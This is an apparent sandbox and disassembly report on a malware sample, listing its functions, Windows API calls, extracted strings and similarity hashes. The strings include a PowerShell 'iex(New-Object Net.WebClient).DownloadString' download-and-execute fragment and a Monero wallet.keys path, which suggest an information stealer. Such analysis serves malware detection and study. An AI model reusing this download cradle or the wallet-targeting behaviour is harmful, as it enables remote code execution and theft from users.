Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 79b0a7453b63971a9d6a4fc7ae654dc107a95cd6c848a88c932befcc1f59909d
Instruction ID: 556a604226cd32ac3f0389388ee588e2261b9808b88ebf299b21e6c45a806e22
Opcode Fuzzy Hash: 79b0a7453b63971a9d6a4fc7ae654dc107a95cd6c848a88c932befcc1f59909d
Instruction Fuzzy Hash: D83153B690031867CB10F7B0EC85FEE737CAB98700F404989B355A6095EEB4A7C98B95

Function 00922C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

Part of subcall function 0092A9B0: lstrlen.KERNEL32(?,01049D28,?,\Monero\wallet.keys,00930E17), ref: 0092A9C5
Part of subcall function 0092A9B0: lstrcpy.KERNEL32(00000000), ref: 0092AA04
Part of subcall function 0092A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0092AA12

Part of subcall function 0092A920: lstrcpy.KERNEL32(00000000,?), ref: 0092A972
Part of subcall function 0092A920: lstrcat.KERNEL32(00000000), ref: 0092A982

Part of subcall function 0092A8A0: lstrcpy.KERNEL32(?,00930E17), ref: 0092A905

ShellExecuteEx.SHELL32(0000003C), ref: 00922D85

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00922CC4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00922D04
')", xrefs: 00922CB3
<, xrefs: 00922D39

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: d7062f5a0cac7100957e7d69f9f7e42a8ff99cf32b7494a2dba4909ec0f52dd7
Instruction ID: e3063e2e6445b9f8fc2df18137ebdfa8332d8efe927bf819dca40c9bbb6b9939
Opcode Fuzzy Hash: d7062f5a0cac7100957e7d69f9f7e42a8ff99cf32b7494a2dba4909ec0f52dd7
Instruction Fuzzy Hash: D641DF72D102189BDB14FFA0E892BDDB778AF94300F404159F006A7199DF746A4ACF95

Function 00919E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00919F41

Part of subcall function 0092A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0092A7E6

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00919E67
v10, xrefs: 00919EA3
@, xrefs: 00919EF1
v20, xrefs: 00919E21

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: aedd562587993b96604da1cd42065d034c87b9efc5b815f6a2eb4b0b687b40a7
Instruction ID: f00404eca68d20e72506d9056f8195bec9fd2e043202f938e63dca172372dc8e
Opcode Fuzzy Hash: aedd562587993b96604da1cd42065d034c87b9efc5b815f6a2eb4b0b687b40a7
Instruction Fuzzy Hash: 02616D71A0021CAFDB24EFA4DC96FEE7779AF85304F408018F90A9B195EB746A45CB52

Function 00926920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0092696C
sscanf.NTDLL ref: 00926999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 009269B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 009269C0
ExitProcess.KERNEL32 ref: 009269DA

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 28dc1efa294c6e49fefd70e4a3eaf5a3ad44d50c697bde337823baee55a7177c
Instruction ID: 89503bf2289dfd05c186966f7a5454d1638ba391f0146b7076c2b754f4a10313
Opcode Fuzzy Hash: 28dc1efa294c6e49fefd70e4a3eaf5a3ad44d50c697bde337823baee55a7177c
Instruction Fuzzy Hash: DD21E9B5D00218ABCF04EFE4E945AEEB7B9BF48301F04856AE406F3254EB345604CBA9

Function 00927E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00927E37
RtlAllocateHeap.NTDLL(00000000), ref: 00927E3E
RegOpenKeyExA.ADVAPI32(80000002,0103D1C8,00000000,00020119,?), ref: 00927E5E
RegQueryValueExA.ADVAPI32(?,0104F8E0,00000000,00000000,000000FF,000000FF), ref: 00927E7F
RegCloseKey.ADVAPI32(?), ref: 00927E92

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 2a0fdc2faeb053f67359fd937fb91fe8998e79c59007c20a6b9f75e1f27339b2
Instruction ID: db4c6e0b0dd9450350c8d5dd6f133c5436bcab6543940c24fee7fe17347aea8a
Opcode Fuzzy Hash: 2a0fdc2faeb053f67359fd937fb91fe8998e79c59007c20a6b9f75e1f27339b2
Instruction Fuzzy Hash: C7114FB1A44305EBD710CBD4ED59F7BBBB8FB48711F104259F605B7294DB7459008BA1

Function 00929260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0104FEB8,?,?,?,0092140C,?,0104FEB8,00000000), ref: 0092926C
lstrcpyn.KERNEL32(00B5AB88,0104FEB8,0104FEB8,?,0092140C,?,0104FEB8), ref: 00929290
lstrlen.KERNEL32(?,?,0092140C,?,0104FEB8), ref: 009292A7
wsprintfA.USER32 ref: 009292C7

Strings

%s%s, xrefs: 009292B5

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: a69b5294445f9139f3cb2ee1ac6d31f19a318c88e6d92cc1bc654bc6262017a8
Instruction ID: 1bd4c8c55f6e38a5b6827bbbce5b36cba1ba8e87c049f16526376608bef07574
Opcode Fuzzy Hash: a69b5294445f9139f3cb2ee1ac6d31f19a318c88e6d92cc1bc654bc6262017a8
Instruction Fuzzy Hash: 8801C075500209FFCB44DFDCD954EAD7BB9EB48355F108688F909A7204CA319A40DBD1

Function 009112A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 009112B4
RtlAllocateHeap.NTDLL(00000000), ref: 009112BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 009112D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 009112F5
RegCloseKey.ADVAPI32(?), ref: 009112FF

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: d594193c30f83b0decbd129fcbd56c5433882c2b82f629a64baf943bdc8de83a
Instruction ID: c73693b10cc944d7baa358017896c01a83c6cdb6db2e5d5a446224ed03856242
Opcode Fuzzy Hash: d594193c30f83b0decbd129fcbd56c5433882c2b82f629a64baf943bdc8de83a
Instruction Fuzzy Hash: 0801C2B5A40308BBDB04DFD4DC59FAEB7B8EB48701F108195FA15A7280DA759A418F51

Function 00926630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00926663

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

Part of subcall function 0092A9B0: lstrlen.KERNEL32(?,01049D28,?,\Monero\wallet.keys,00930E17), ref: 0092A9C5
Part of subcall function 0092A9B0: lstrcpy.KERNEL32(00000000), ref: 0092AA04
Part of subcall function 0092A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0092AA12

Part of subcall function 0092A8A0: lstrcpy.KERNEL32(?,00930E17), ref: 0092A905

ShellExecuteEx.SHELL32(0000003C), ref: 00926726
ExitProcess.KERNEL32 ref: 00926755

Strings

<, xrefs: 009266D9

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: a5022cf0ce93f4961a76887252c7a38f9765c94385865aeec1d61352fe81093c
Instruction ID: 8564e8392a33877c1f32646e916f6dd2c4987188cc12d57b808b83edf1fa09e8
Opcode Fuzzy Hash: a5022cf0ce93f4961a76887252c7a38f9765c94385865aeec1d61352fe81093c
Instruction Fuzzy Hash: 7B312DB2801228ABDB14EB90EC92FDE7778AF48300F404589F20577195DF746B88CF5A

Function 009287C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00930E28,00000000,?), ref: 0092882F
RtlAllocateHeap.NTDLL(00000000), ref: 00928836
wsprintfA.USER32 ref: 00928850

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

Strings

%dx%d, xrefs: 00928847

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 742514d84e17ab5e3407c6e035929ec2898f416081a67427b0dc647d0fbfc8dd
Instruction ID: d57135a42e38e33b0724867557c15af92cf873920ce671819e1860a8b02a819f
Opcode Fuzzy Hash: 742514d84e17ab5e3407c6e035929ec2898f416081a67427b0dc647d0fbfc8dd
Instruction Fuzzy Hash: A2211FB1A40308AFDB04DF94DD49FAEBBB8FB48711F104259F605B7290CB79A901CBA1

Function 00928D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0092951E,00000000), ref: 00928D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00928D62
wsprintfW.USER32 ref: 00928D78

Strings

%hs, xrefs: 00928D6F

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 5899e8a613e437bfa3e585097767abec973cfc7c329d3b13058fd8938e6b69a2
Instruction ID: 1efe7482c0a6b80fd003325ceb439953072fdaeda54322b0ac8ff3b2160156f9
Opcode Fuzzy Hash: 5899e8a613e437bfa3e585097767abec973cfc7c329d3b13058fd8938e6b69a2
Instruction Fuzzy Hash: 56E0ECB5A40308BBD710DB94DD1AF6977B8EB48702F004294FE09A7280DE719E109B96

Function 0091A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

Part of subcall function 0092A9B0: lstrlen.KERNEL32(?,01049D28,?,\Monero\wallet.keys,00930E17), ref: 0092A9C5
Part of subcall function 0092A9B0: lstrcpy.KERNEL32(00000000), ref: 0092AA04
Part of subcall function 0092A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0092AA12

Part of subcall function 0092A8A0: lstrcpy.KERNEL32(?,00930E17), ref: 0092A905

Part of subcall function 00928B60: GetSystemTime.KERNEL32(00930E1A,0104B3D0,009305AE,?,?,009113F9,?,0000001A,00930E1A,00000000,?,01049D28,?,\Monero\wallet.keys,00930E17), ref: 00928B86

Part of subcall function 0092A920: lstrcpy.KERNEL32(00000000,?), ref: 0092A972
Part of subcall function 0092A920: lstrcat.KERNEL32(00000000), ref: 0092A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0091A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0091A3FF
lstrlen.KERNEL32(00000000), ref: 0091A6BC

Part of subcall function 0092A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0092A7E6

DeleteFileA.KERNEL32(00000000), ref: 0091A743

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: a86ca04c643cf3231d124bf3eb8b67b895195b54d1e640540d63af3ab77362ab
Instruction ID: 60a99362ab3a261cb7916d755bb15ed3702b5d5ecac456539597e08d72840e0c
Opcode Fuzzy Hash: a86ca04c643cf3231d124bf3eb8b67b895195b54d1e640540d63af3ab77362ab
Instruction Fuzzy Hash: 72E1DF739101289BDB05FBA4EC92FEE733CAF98300F508559F516760A5EF306A49CB66

Function 0091D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

Part of subcall function 0092A9B0: lstrlen.KERNEL32(?,01049D28,?,\Monero\wallet.keys,00930E17), ref: 0092A9C5
Part of subcall function 0092A9B0: lstrcpy.KERNEL32(00000000), ref: 0092AA04
